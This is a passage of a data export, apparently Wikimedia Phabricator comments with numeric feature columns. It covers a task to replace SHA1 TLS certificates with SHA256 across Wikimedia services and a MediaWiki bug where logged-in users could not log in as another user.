+",,,1425922572,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+423240,Replace SHA1 certificates with SHA256,"Change 195308 had a related patch set uploaded (by Dzahn):
+delete blog SSL cert
+
+[[https://gerrit.wikimedia.org/r/195308]]
+",,,1425922291,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+423237,Replace SHA1 certificates with SHA256,"Change 195307 had a related patch set uploaded (by Dzahn):
+delete bugzilla SSL certs
+
+[[https://gerrit.wikimedia.org/r/195307]]
+",,,1425922161,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+423233,Replace SHA1 certificates with SHA256,"Change 195306 had a related patch set uploaded (by Dzahn):
+delete *.planet.wikimedia.org SSL cert
+
+[[https://gerrit.wikimedia.org/r/195306]]
+",,,1425921714,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+423228,Replace SHA1 certificates with SHA256,"Change 195304 had a related patch set uploaded (by Dzahn):
+delete metrics.wikimedia.org SSL cert
+
+[[https://gerrit.wikimedia.org/r/195304]]
+",,,1425921361,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+423224,Replace SHA1 certificates with SHA256,"Change 195303 had a related patch set uploaded (by Dzahn):
+delete etherpad SSL cert
+
+[[https://gerrit.wikimedia.org/r/195303]]
+",,,1425921185,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+423221,Replace SHA1 certificates with SHA256,"Out of the one listed on top when this bug was created, a lot should not be used anymore meanwhile because we moved a lot of services to terminate SSL at nginx and be ""behind misc-web"" now.",,,1425920646,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+422568,Replace SHA1 certificates with SHA256,Chrome 41 has been released. Are there any plans for replacing all the remaining SHA1 certificates?,,,1425705830,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-17,True,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0
+407161,Replace SHA1 certificates with SHA256,">>! In T73156#1017154, @Yuhong wrote:
+> This is a myth. ""RapidSSL SHA256 CA - G3"" is definitely SHA256. The other intermediate is for compatibility with older clients such as XP/Server 2003 (but note that XP has root certificate update enabled by default).
+
+I tried connecting to https://wikitech-static.wikimeda.org with IE6 on Windows XP SP3, and there was no problem. So I think the server only needs to send the end entity certificate and ""RapidSSL G3"" intermediate certificate. Then there'll be no SHA1 certificates.",,,1423140034,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-21,True,0,0,0,0,0,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,0,1,0,1,1,0,1
+407049,Replace SHA1 certificates with SHA256,"This is a myth. ""RapidSSL SHA256 CA - G3"" is definitely SHA256. The other intermediate is for compatibility with older clients such as XP/Server 2003 (but note that XP has root certificate update enabled by default).",,,1423118657,,PHID-USER-hrvupzlywpxut735kzuq,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-21,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0
+406703,Replace SHA1 certificates with SHA256,"So I was installing these, and Alex noticed that the intermediary certificate changed (stupid of me, I should have noticed.)
+
+The systems that were already replaced have been fixed, however, the NEW intermediary certificate for SHA256 certificates is actually SHA1!  RapidSSL doing something like this isn't entirely surprising, and due to their low budget, any fix is likely not going to happen.
+
+As such, we'll likely need to go back to the initial idea of simply replacing all rapidssl certs with globalsign certs.  We'll have to approach it on a case by case basis.",,,1423071210,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-22,True,1,1,1,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+406679,Replace SHA1 certificates with SHA256,"also:
+
+*.frdev.wikimedia.org (wildcard cert)
+civicrm.wikimedia.org
+frdata.wikimedia.org
+fundraising.wikimedia.org
+payments-listener.wikimedia.org
+
+
+",,,1423068599,,PHID-USER-cwqdddnpyui7ysn4xsuw,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+404830,Replace SHA1 certificates with SHA256,">>! In T73156#1003895, @Chmarkine wrote:
+> The certificate for svn.wikimedia.org will expire in about one day.
+
+This is T86655
+(and historically T24596)
+
+",,,1422629427,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-22,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1
+404774,Replace SHA1 certificates with SHA256,"The certificate for svn.wikimedia.org will expire in about one day. There are some links to https://svn.wikimedia.org on enwiki that will be affected by the expiration.
+
+https://en.wikipedia.org/w/index.php?title=Special%3ALinkSearch&target=https%3A%2F%2Fsvn.wikimedia.org",,,1422606146,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-22,True,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+403903,Replace SHA1 certificates with SHA256,">>! In T73156#974224, @RobH wrote:
+> bug-attachment.wikimedia.org - old service, should push behind misc web since its depreciating
+> bugzilla.wikimedia.org - old service, should push behind misc web since its depreciating
+
+This is already the case. They are both behind misc web.
+
+bugzilla.wikimedia.org is an alias for misc-web-lb.eqiad.wikimedia.org.
+bug-attachment.wikimedia.org is an alias for misc-web-lb.eqiad.wikimedia.org.
+
+There is no more need for those certs.",,,1422466481,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-23,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,1,0,1
+399084,Replace SHA1 certificates with SHA256,"So additional corrections, the following certificates more than likely do not need re-order, for the reasons following each:
+
+bug-attachment.wikimedia.org - old service, should push behind misc web since its depreciating
+bugzilla.wikimedia.org - old service, should push behind misc web since its depreciating
+
+unified.wikimedia.org.crt - old digicert certificate, being revoked shortly as its been replaced
+",,,1421176564,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-25,True,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+397038,Replace SHA1 certificates with SHA256,"well, some of those are actually going away and I meant to pull them before pasting:
+
+virt0.wikimedia.org, virt1000.wikimedia.org, unified.wikimedia.org",,,1420757841,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-25,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,1
+397037,Replace SHA1 certificates with SHA256,"There is an embarassing # of them in SHA1.  As revoking and reissue via RapidSSL is very difficult (they have to cancel the order entirely to revoke, but then it takes multiple calls with support to get the credits issued to re-order without paying, which is why we moved off rapidssl.
+
+So these will need to be purchased on our new vendor, which will transfer the remainder of the existing time, plus the year minimum when ordering.
+
+I'll create sub-tasks for the following certificate replacements (some are internal and thus not purchases, but should be replaced anyhow as a matter of course):
+
+blog.wikimedia.org.crt
+bug-attachment.wikimedia.org.crt
+bugzilla.wikimedia.org.crt
+dumps.wikimedia.org.crt
+etherpad.wikimedia.org.crt
+ganglia.wikimedia.org.crt
+gerrit.wikimedia.org.crt
+git.wikimedia.org.crt
+icinga-admin.wikimedia.org.crt
+icinga.wikimedia.org.crt
+ldap-mirror.wikimedia.org.crt
+librenms.wikimedia.org.crt
+lists.wikimedia.org.crt
+metrics.wikimedia.org.crt
+rt.wikimedia.org.crt
+star.wmflabs.crt
+star.wmflabs.org.crt
+stats.wikimedia.org.crt
+svn.wikimedia.org.crt
+swift.crt
+techblog.wikimedia.org.crt
+tendril.wikimedia.org.crt
+test-star.wikipedia.org.crt
+ticket.wikimedia.org.crt
+unified.wikimedia.org.crt
+virt-star.eqiad.wmnet.crt
+virt0.wikimedia.org.crt
+virt1000.wikimedia.org.crt
+wikitech.wikimedia.org.crt
+wmf-ca.crt
+wmf-labs.crt
+wmf_ca_2014_2017.crt
+
+
+",,,1420757805,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-25,True,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+332409,Replace SHA1 certificates with SHA256,"I see the certificate *.wikimedia.org has been renewed on 3 November 2014 with a SHA-256 signature (see internal wikimedia.org websites).
+It remains the main certificate *.wikipedia.org to be updated with SHA-256.",,,1416827549,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-32,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+324298,Replace SHA1 certificates with SHA256,"(In reply to chmarkine from comment #10)
+> Chrome 39 was released today. When will the certificates be replaced then?
+
+Thanks for the update. I have poked the internal ticket (RT 8835).",,,1416386322,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-33,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+324291,Replace SHA1 certificates with SHA256,Chrome 39 was released today. When will the certificates be replaced then?,,,1416347750,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-33,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0
+324286,Replace SHA1 certificates with SHA256,Filled as well in the internal request tracker as https://rt.wikimedia.org/Ticket/Display.html?id=8835,,,1415623235,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-34,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+324281,Replace SHA1 certificates with SHA256,*** Bug 73190 has been marked as a duplicate of this bug. ***,,,1415538938,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-34,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+324275,Replace SHA1 certificates with SHA256,"I see. Thanks for your explanation.
+
+(In reply to Andre Klapper from comment #6)
+> To some extent that's still to be defined, but the Bugzilla domain will
+> change to something like bugzilla-old.wm.org as we plan to redirect
+> bugzilla.wikimedia.org URLs to phabricator.wikimedia.org",,,1411949282,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-40,True,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+324271,Replace SHA1 certificates with SHA256,"To some extent that's still to be defined, but the Bugzilla domain will change to something like bugzilla-old.wm.org as we plan to redirect bugzilla.wikimedia.org URLs to phabricator.wikimedia.org",,,1411946620,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-40,True,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+324268,Replace SHA1 certificates with SHA256,"(In reply to Andre Klapper from comment #3)
+
+> > Bugzilla -- ‎November ‎5, ‎2017
+> > bug-attachment.wikimedia.org -- September ‎7, ‎2017
+> > Gerrit -- April ‎24, ‎2017
+> 
+> These three items will likely be ceased in the next months.
+
+So do you mean these three domains will be shut down after we migrate to Phabricator?",,,1411601216,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-41,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+324262,Replace SHA1 certificates with SHA256,...and Mozilla: https://blog.mozilla.org/security/2014/09/23/phasing-out-certificates-with-sha-1-based-signature-algorithms/,,,1411557633,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-41,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+324257,Replace SHA1 certificates with SHA256,"Official announcement: http://googleonlinesecurity.blogspot.cz/2014/09/gradually-sunsetting-sha-1.html
+
+(In reply to chmarkine from comment #0)
+> Chrome 39 will warn users if SHA1 certificates are used and expire after
+> January 1, 2017.
+
+> Bugzilla -- ‎November ‎5, ‎2017
+> bug-attachment.wikimedia.org -- September ‎7, ‎2017
+> Gerrit -- April ‎24, ‎2017
+
+These three items will likely be ceased in the next months.",,,1411556583,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-41,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+324249,Replace SHA1 certificates with SHA256,Background reading: https://konklone.com/post/why-google-is-hurrying-the-web-to-kill-sha-1,,,1411504486,,PHID-USER-uazrhtptdqudzoqfefsc,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,False,,,-41,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+324241,Replace SHA1 certificates with SHA256,"And stats.wikimedia.org -- June 20, 2017",,,1411457825,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-xyrkfwxljhfyotvsbrr5,task_subcomment,,True,c3,1,True,,,-41,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+72855,Login as another user no longer works,"If you're already logged in, you can not longer directly log in as another user (such as with bots, different privilege or role accounts, sockpuppets, etc) without first logging out.
+
+This is annoying and shouldn't have happened.
+
+--------------------------
+**Version**: 1.24rc
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=71066",High,80.0,1410804960,1411418851.0,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,False,PHID-TASK-6mimi76qa47o25ubseql,task_description,resolved,True,c3,1,False,False,True,-42,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,1
+321967,Login as another user no longer works,My bad. Thanks for the clarification and sorry for the confusion :),,,1411515082,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,True,,,-41,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+321964,Login as another user no longer works,"**swalling** wrote:
+
+(In reply to Bartosz Dziewoński from comment #21)
+> (Per bug 15484 comment 27 it hasn't. The fix here only changes any behavior
+> if a user types ""Special:UserLogin"" in the search box or address bar, or
+> otherwise directly visits the login page.)
+
+Tested and confirmed on Beta Labs. 
+
+Thanks Bartosz.",,,1411514434,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-41,True,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+321962,Login as another user no longer works,"(Per bug 15484 comment 27 it hasn't. The fix here only changes any behavior if a user types ""Special:UserLogin"" in the search box or address bar, or otherwise directly visits the login page.)",,,1411514215,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,True,,,-41,True,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+321961,Login as another user no longer works,So to be clear the fix has reopened bug 15484,,,1411512765,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,True,,,-41,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+321957,Login as another user no longer works,Backported.,,,1411418851,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,True,,,-41,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+321952,Login as another user no longer works,"Change 162120 merged by jenkins-bot:
+Allow logged-in users to view and use the login form again
+
+https://gerrit.wikimedia.org/r/162120",,,1411418407,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6mimi76qa47o25ubseql,task_subcomment,,True,c3,1,False,,,-41,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+321942,Login as another user no longer works,"Change 162120 had a related patch set uploaded by Legoktm:
+Allow logged-in users to view and use the login form again
+
